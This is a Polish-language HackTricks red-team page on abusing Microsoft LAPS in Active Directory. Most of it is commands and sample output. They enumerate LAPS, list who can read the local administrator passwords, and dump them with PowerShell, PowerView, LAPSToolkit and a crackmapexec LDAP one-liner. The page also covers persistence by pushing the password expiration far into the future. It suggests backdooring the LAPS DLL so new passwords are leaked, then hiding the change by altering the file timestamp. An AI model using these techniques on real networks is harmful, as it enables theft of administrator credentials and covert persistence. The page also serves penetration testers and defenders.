9.6 KiB
LAPS
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
{% embed url="https://websec.nl/" %}
Podstawowe informacje
Local Administrator Password Solution (LAPS) to narzędzie używane do zarządzania systemem, w którym hasła administratora, które są unikalne, losowe i często zmieniane, są stosowane do komputerów dołączonych do domeny. Te hasła są przechowywane bezpiecznie w Active Directory i są dostępne tylko dla użytkowników, którzy otrzymali uprawnienia poprzez listy kontroli dostępu (ACL). Bezpieczeństwo transmisji hasła z klienta do serwera jest zapewnione przez użycie Kerberos w wersji 5 i Advanced Encryption Standard (AES).
W obiektach komputerów domeny, wdrożenie LAPS skutkuje dodaniem dwóch nowych atrybutów: ms-mcs-AdmPwd
i ms-mcs-AdmPwdExpirationTime
. Te atrybuty przechowują odpowiednio hasło administratora w postaci zwykłego tekstu i jego czas wygaśnięcia.
Sprawdź, czy jest aktywowany
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
Dostęp do hasła LAPS
Możesz pobrać surową politykę LAPS z \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
, a następnie użyć Parse-PolFile
z pakietu GPRegistryPolicyParser, aby przekonwertować ten plik na czytelną dla człowieka formę.
Co więcej, wbudowane polecenia PowerShell LAPS mogą być użyte, jeśli są zainstalowane na maszynie, do której mamy dostęp:
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerView może również być używany do sprawdzenia kto może odczytać hasło i je odczytać:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit ułatwia wyliczanie LAPS za pomocą kilku funkcji.
Jedną z nich jest analiza ExtendedRights
dla wszystkich komputerów z włączonym LAPS. To pokaże grupy specjalnie upoważnione do odczytu haseł LAPS, które często są użytkownikami w chronionych grupach.
Konto, które dołączyło komputer do domeny, otrzymuje All Extended Rights
nad tym hostem, a to prawo daje temu kontu możliwość odczytu haseł. Wyliczenie może pokazać konto użytkownika, które może odczytać hasło LAPS na hoście. To może pomóc nam w docelowym wyborze konkretnych użytkowników AD, którzy mogą odczytać hasła LAPS.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Wyciek hasła LAPS za pomocą Crackmapexec
Jeśli nie ma dostępu do powershell, można nadużyć tego uprawnienia zdalnie za pomocą LDAP, korzystając z
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
Trwałość LAPS
Data wygaśnięcia
Gdy już masz uprawnienia administratora, możesz uzyskać hasła i zapobiec aktualizacji hasła na maszynie, ustawiając datę wygaśnięcia w przyszłości.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
{% hint style="warning" %}
Hasło zostanie nadal zresetowane, jeśli administrator użyje polecenia Reset-AdmPwdPassword
; lub jeśli opcja Nie zezwalaj na dłuższy czas ważności hasła niż wymaga tego zasady jest włączona w GPO LAPS.
{% endhint %}
Tylnie drzwi
Oryginalny kod źródłowy LAPS można znaleźć tutaj, dlatego istnieje możliwość umieszczenia tylnych drzwi w kodzie (wewnątrz metody Get-AdmPwdPassword
w Main/AdmPwd.PS/Main.cs
na przykład), które w jakiś sposób wyprowadzą nowe hasła lub przechowają je gdzieś.
Następnie wystarczy skompilować nowe AdmPwd.PS.dll
i przesłać go na maszynę do C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll
(i zmienić czas modyfikacji).
Referencje
{% embed url="https://websec.nl/" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.